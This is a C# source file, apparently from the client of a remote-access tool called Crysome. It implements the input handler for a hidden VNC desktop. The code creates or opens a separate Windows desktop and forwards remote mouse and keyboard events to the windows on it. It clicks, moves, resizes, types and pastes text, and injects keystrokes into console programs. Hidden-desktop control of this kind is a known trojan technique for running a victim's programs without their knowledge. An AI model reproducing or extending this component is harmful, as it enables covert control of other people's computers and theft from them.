Files
2026-08-27 11:22:54 -06:00

470 lines
11 KiB
C#

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Crysome.Client.Hvnc;
public class HvncInputHandler : IDisposable
{
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)]
private struct KEY_EVENT_RECORD
{
[FieldOffset(0)]
public int bKeyDown;
[FieldOffset(4)]
public ushort wRepeatCount;
[FieldOffset(6)]
public ushort wVirtualKeyCode;
[FieldOffset(8)]
public ushort wVirtualScanCode;
[FieldOffset(10)]
public char UnicodeChar;
[FieldOffset(12)]
public uint dwControlKeyState;
}
[StructLayout(LayoutKind.Explicit)]
private struct INPUT_RECORD
{
[FieldOffset(0)]
public ushort EventType;
[FieldOffset(2)]
public KEY_EVENT_RECORD KeyEvent;
}
private Utils.POINT lastPoint = new Utils.POINT
{
x = 0,
y = 0
};
private IntPtr hResMoveWindow = IntPtr.Zero;
private IntPtr resMoveType = IntPtr.Zero;
private bool lmouseDown;
private static object lockObject = new object();
private string DesktopName;
public IntPtr Desktop = IntPtr.Zero;
private const int STD_INPUT_HANDLE = -10;
private const ushort KEY_EVENT = 1;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool AttachConsole(uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FreeConsole();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten);
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch)
{
try
{
Utils.GetWindowThreadProcessId(hWnd, out var ProcessId);
if (ProcessId == 0)
{
return false;
}
if (!AttachConsole(ProcessId))
{
return false;
}
try
{
IntPtr stdHandle = GetStdHandle(-10);
if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1))
{
return false;
}
ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u);
INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD
{
EventType = 1,
KeyEvent = new KEY_EVENT_RECORD
{
bKeyDown = 1,
wRepeatCount = 1,
wVirtualKeyCode = (ushort)vk,
wVirtualScanCode = wVirtualScanCode,
UnicodeChar = ch,
dwControlKeyState = 0u
}
};
INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD
{
EventType = 1,
KeyEvent = new KEY_EVENT_RECORD
{
bKeyDown = 0,
wRepeatCount = 1,
wVirtualKeyCode = (ushort)vk,
wVirtualScanCode = wVirtualScanCode,
UnicodeChar = ch,
dwControlKeyState = 0u
}
};
WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _);
return true;
}
finally
{
FreeConsole();
}
}
catch
{
return false;
}
}
private static bool IsConsoleWindow(IntPtr hWnd)
{
StringBuilder stringBuilder = new StringBuilder(64);
Utils.RealGetWindowClass(hWnd, stringBuilder, 64);
return stringBuilder.ToString() == "ConsoleWindowClass";
}
public HvncInputHandler(string DesktopName)
{
this.DesktopName = DesktopName;
IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u);
if (intPtr == IntPtr.Zero)
{
intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
}
Desktop = intPtr;
}
public void Dispose()
{
if (Desktop != IntPtr.Zero)
{
Utils.CloseDesktop(Desktop);
}
GC.Collect();
}
public static int GET_X_LPARAM(IntPtr lParam)
{
return (short)(lParam.ToInt32() & 0xFFFF);
}
public static int GET_Y_LPARAM(IntPtr lParam)
{
return (short)((lParam.ToInt32() >> 16) & 0xFFFF);
}
public static IntPtr MAKELPARAM(int lowWord, int highWord)
{
return new IntPtr((highWord << 16) | (lowWord & 0xFFFF));
}
public void ResetWindowsTopDown(IntPtr ownerhWnd)
{
IntPtr topWindow = Utils.GetTopWindow(ownerhWnd);
if (topWindow == IntPtr.Zero)
{
return;
}
IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST);
if (window == IntPtr.Zero)
{
return;
}
while (window != IntPtr.Zero)
{
if (Utils.IsWindowVisible(window))
{
Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u);
}
window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV);
}
}
public static void SendStringToWindow(IntPtr hWnd, string text)
{
for (int i = 0; i < text.Length; i++)
{
ushort num = Utils.VkKeyScan(text[i]);
if (num != ushort.MaxValue)
{
Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero);
continue;
}
break;
}
}
public Process GetProcessFromhWnd(IntPtr handle)
{
try
{
Utils.GetWindowThreadProcessId(handle, out var ProcessId);
return Process.GetProcessById((int)ProcessId);
}
catch
{
}
return null;
}
public string GetTopMostWindowName()
{
Utils.SetThreadDesktop(Desktop);
Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow());
string processName = processFromhWnd.ProcessName;
processFromhWnd.Dispose();
return processName;
}
public IntPtr FindTopMostWindow()
{
IntPtr activeWindowHandle = IntPtr.Zero;
Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero);
return activeWindowHandle;
bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam)
{
if (Utils.IsWindowVisible(hWnd))
{
activeWindowHandle = hWnd;
}
return true;
}
}
public void PasteText(string text)
{
Utils.SetThreadDesktop(Desktop);
IntPtr intPtr = FindTopMostWindow();
if (!(intPtr == IntPtr.Zero))
{
SendStringToWindow(intPtr, text);
}
}
public void PasteFromClientClipboard()
{
IntPtr intPtr = FindTopMostWindow();
if (!(intPtr == IntPtr.Zero))
{
Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero);
}
}
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (lockObject)
{
Utils.SetThreadDesktop(Desktop);
_ = IntPtr.Zero;
bool flag = false;
Utils.POINT lpPoint = default(Utils.POINT);
IntPtr intPtr;
if (msg - 256 <= 2)
{
lpPoint = lastPoint;
intPtr = Utils.WindowFromPoint(lpPoint);
if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr))
{
char ch = (char)wParam.ToInt32();
uint vk = (uint)wParam.ToInt32();
TrySendConsoleInput(intPtr, vk, ch);
return;
}
}
else
{
flag = true;
lpPoint.x = GET_X_LPARAM(lParam);
lpPoint.y = GET_Y_LPARAM(lParam);
Utils.POINT pOINT = lastPoint;
lastPoint = lpPoint;
intPtr = Utils.WindowFromPoint(lpPoint);
switch (msg)
{
case 513u:
{
lmouseDown = true;
hResMoveWindow = IntPtr.Zero;
IntPtr intPtr2 = Utils.FindWindow("Button", null);
Utils.GetWindowRect(intPtr2, out var lpRect2);
if (Utils.PtInRect(ref lpRect2, lpPoint))
{
Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero);
return;
}
StringBuilder stringBuilder = new StringBuilder(260);
Utils.RealGetWindowClass(intPtr, stringBuilder, 260);
if (stringBuilder.ToString() == "#32768")
{
IntPtr subMenu = Utils.GetSubMenu(intPtr, 0);
int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint);
Utils.GetMenuItemID(subMenu, num7);
Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero);
Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero);
return;
}
break;
}
case 514u:
lmouseDown = false;
switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32())
{
case -1:
Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000);
Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
break;
case 8:
Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero);
break;
case 9:
{
Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT);
lpwndpl.length = Marshal.SizeOf(lpwndpl);
Utils.GetWindowPlacement(intPtr, ref lpwndpl);
if ((lpwndpl.flags & 3) != 0)
{
Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero);
}
else
{
Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero);
}
break;
}
case 20:
Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero);
break;
}
break;
case 512u:
if (lmouseDown)
{
if (hResMoveWindow == IntPtr.Zero)
{
resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
}
else
{
intPtr = hResMoveWindow;
}
int num = pOINT.x - lpPoint.x;
int num2 = pOINT.y - lpPoint.y;
Utils.GetWindowRect(intPtr, out var lpRect);
int num3 = lpRect.left;
int num4 = lpRect.top;
int num5 = lpRect.right - lpRect.left;
int num6 = lpRect.bottom - lpRect.top;
switch (resMoveType.ToInt32())
{
default:
return;
case 2:
num3 -= num;
num4 -= num2;
break;
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
return;
case 10:
num3 -= num;
num5 += num;
break;
case 11:
num5 -= num;
break;
case 12:
num4 -= num2;
num6 += num2;
break;
case 13:
num4 -= num2;
num6 += num2;
num3 -= num;
num5 += num;
break;
case 14:
num4 -= num2;
num6 += num2;
num5 -= num;
break;
case 15:
num6 -= num2;
break;
case 16:
num6 -= num2;
num3 -= num;
num5 += num;
break;
case 17:
num6 -= num2;
num5 -= num;
break;
}
Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false);
hResMoveWindow = intPtr;
return;
}
break;
}
}
IntPtr intPtr3 = intPtr;
IntPtr intPtr4;
do
{
intPtr4 = intPtr3;
Utils.ScreenToClient(intPtr4, ref lpPoint);
}
while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4));
if (flag)
{
lParam = MAKELPARAM(lpPoint.x, lpPoint.y);
StringBuilder stringBuilder2 = new StringBuilder(260);
Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260);
string text = stringBuilder2.ToString();
if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero)
{
switch (text)
{
case "SysTreeView32":
case "Button":
case "DirectUIHWND":
if (msg == 514 && text != "DirectUIHWND")
{
Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009));
}
break;
}
return;
}
}
Utils.PostMessage(intPtr4, msg, wParam, lParam);
}
}
}